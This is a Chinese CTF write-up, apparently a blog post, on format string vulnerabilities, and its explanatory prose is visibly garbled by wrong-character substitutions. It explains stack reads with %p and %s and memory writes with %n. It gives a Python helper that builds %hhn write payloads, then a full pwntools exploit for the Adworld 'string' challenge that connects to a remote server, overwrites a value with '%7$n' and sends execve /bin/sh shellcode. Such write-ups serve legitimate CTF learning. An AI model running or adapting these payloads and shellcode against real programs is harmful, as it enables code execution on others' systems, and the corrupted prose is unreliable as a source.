共计 1980 个字符,预计需要花费 5 分钟才能阅读完成。
终于进格式化破绽了,也终于把攻防世界的老手题做完了
先说说原理叭叭叭
常见的好吧就是 print 函数,依据格式化字符串来输入信息,能够进行写信息
具体请见格式化字符串
上面别离举例子
(所有的基本是能够管制格式化字符串为你想要的货色)
读取信息
- 利用 %x 来获取对应栈的内存,但倡议应用 %p,能够不必思考位数的区别。
- 利用 %s 来获取变量所对应地址的内容,只不过有零截断。
- 利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容
写入信息
次要依附,type 类型【n】
留神这里的偏移计算,次要是找到贮存内容的偏移,而不是贮存字符串地址的偏移
pwngdb 中这个玩意能够帮忙咱们数数
读入小于 4 的正整数
这样能够把地址内容改为 2
读入大数
有个函数能够间接利用
##big num
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)
构建函数填入即可
当然也能够利用封装函数写入一个地址,下面的就写入大数
* pwntools 中的 fmtstr_payload 函数,比拟不便获取咱们心愿失去的后果,有趣味的能够查看官网文档尝试。比方这里 fmtstr_payload(7, {puts_got: system_addr}) 的意思就是,我的格式化字符串的偏移是 7,我心愿在 puts_got 地址处写入 system_addr 地址。默认状况下是依照字节来写的。
感觉做这些题的要先把程序弄懂
攻防世界 string
(还好没开 PIE【doge】)
ida 就算了,讲讲值得注意的中央
留神这里间接改成了函数指针类型,阐明写入的数据能够间接运行,所以能够间接从下面写入 shellcode
要害是怎么进入,发现进去条件是最开始的 v[0]=v[1],然而没有能够让咱们批改的中央,这个时候发现有 printf 的破绽能够利用
![上传中 …]()
就能够利用这一的破绽批改相应的地址
![上传中 …]()
在偏移为七的中央发现能够利用的参数(1+6)
因为是 64 位,所以只有找找找
WA
# coding=utf-8
from pwn import *
context.log_level = 'debug'
#!usr/bin/python
io = remote('111.200.241.244',43027)
# io = process('./string')
io.recvuntil("secret[0] is")
v3_0_addr = int(io.recvuntil("\n")[:-1], 16)
log.info("v3_0_addr:" + hex(v3_0_addr))
io.recvuntil("character's name be:")
io.sendline("kk")
io.recvuntil("east or up?:")
io.sendline("east")
io.recvuntil("there(1), or leave(0)?:")
io.sendline("1")
io.recvuntil("'Give me an address'")
io.sendline(str(v3_0_addr))
io.recvuntil("you wish is:")
io.sendline('a'*85+ "%7$n")
# shellcode = asm(shellcraft.sh()) #生成的 shellcode 攻打失败,所以应用反汇编的 shellcode
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
io.recvuntil("USE YOU SPELL")
io.sendline(shellcode)
io.interactive()
以上
正文完